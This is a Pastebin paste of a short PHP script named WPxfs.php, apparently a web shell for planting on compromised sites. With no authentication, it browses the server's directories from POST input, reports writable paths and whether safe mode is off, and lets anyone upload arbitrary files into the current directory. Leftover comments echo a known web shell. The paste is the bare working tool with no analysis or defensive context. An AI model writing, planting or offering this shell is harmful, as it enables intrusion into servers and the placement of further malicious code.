PalmaSolutions

WPxfs.php

Apr 27th, 2018
229
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.37 KB | None | 0 0
  1. <?php
  2. echo "<html><head>
  3. <style>
  4. body{background-color:#111; color:#e1e1e1;}
  5. a{color: #999; text-decoration:none;}
  6. a:hover{text-decoration:underline;}
  7. input,textarea,select{ color:#fff;background-color:#111;border:0; font: 10pt Monospace,'Courier New'; }
  8. hr {border:1px solid white;}
  9. </style>
  10. <script>
  11.     var d = document;
  12.     function g(c) {
  13.         d.mf.c.value=c;
  14.         d.mf.submit();
  15.     }
  16. </script>
  17. </head><body>";
  18. echo PHP_OS;
  19. if(strtoupper(substr(PHP_OS, 0, 3) ) == "WIN")
  20.     $os = 'win';
  21. else
  22.     $os = 'nix';
  23.  
  24. $home_cwd = @getcwd();
  25. if(isset($_POST['c']))
  26.     @chdir($_POST['c']);
  27. $cwd = @getcwd();
  28. if($os == 'win') {
  29.     $home_cwd = str_replace("\\", "/", $home_cwd);
  30.     $cwd = str_replace("\\", "/", $cwd);
  31.     echo "<!-- <td><nobr>Windows --!>";
  32.     echo "<!-- g('FilesMan','c:/') --!>";
  33. }
  34.  
  35. $safe_mode = @ini_get('safe_mode');
  36.     if(!$safe_mode) {
  37.         echo "<!-- Safe mode:</span> <font color=#00bb00><b>OFF</b></font> --!>\n";
  38.         echo "<!-- Safe mode:</span> <font color=green><b>OFF</b></font> --!>\n";
  39.     }
  40.  
  41.  
  42. if($cwd[strlen($cwd)-1] != '/')
  43.     $cwd .= '/';
  44.  
  45. echo "Path: ".htmlspecialchars($cwd)."<input type=hidden name=c value='".htmlspecialchars($cwd) ."'><hr>";
  46. if (!is_writable($cwd)) {
  47.     echo "<font color=red>(Not writable)</font><br>";
  48. }
  49. if($_POST['p1'] === 'uploadFile') {
  50.     if(!@move_uploaded_file($_FILES['f']['tmp_name'], $cwd.$_FILES['f']['name']))
  51.         echo "Can't upload!<br />";
  52. }
  53.  
  54. $ls = wscandir($cwd);
  55. echo "<form method=post name=mf style='display:none;'><input type=hidden name=c></form>";
  56. foreach ($ls as $f) {
  57.     if (is_dir($f)) {
  58.         echo "<a href=# onclick='g(\"".$cwd.$f."\");'>".$f."</a>";
  59.         if (is_writable($cwd.$f)) {
  60.             echo "<!-- 'filename.php','chmod')\"><font color=green> --!> ";
  61.         } else {
  62.             echo "<!-- 'filename.php','chmod')\"><font color=white> --!> ";
  63.         }
  64.         echo "<br />";
  65.     } else {
  66.         $files[] = $f;
  67.     }
  68. }
  69. foreach ($files as $file) {
  70.     echo $file."<br />";
  71. }
  72. echo    "<hr><form method='post' ENCTYPE='multipart/form-data'>
  73.         <input type=hidden name=c value='" . $cwd ."'>
  74.         <input type=hidden name=p1 value='uploadFile'>
  75.         Upload file: <input type=file name=f><input type=submit value='>>'></form>";
  76.  
  77. function wscandir($cwdir) {
  78.     if(function_exists("scandir")) {
  79.         return scandir($cwdir);
  80.     } else {
  81.         $cwdh  = opendir($cwdir);
  82.         while (false !== ($filename = readdir($cwdh)))
  83.             $files[] = $filename;
  84.         return $files;
  85.     }
  86. }
  87. echo "</body></html>";
Add Comment
Please, Sign In to add comment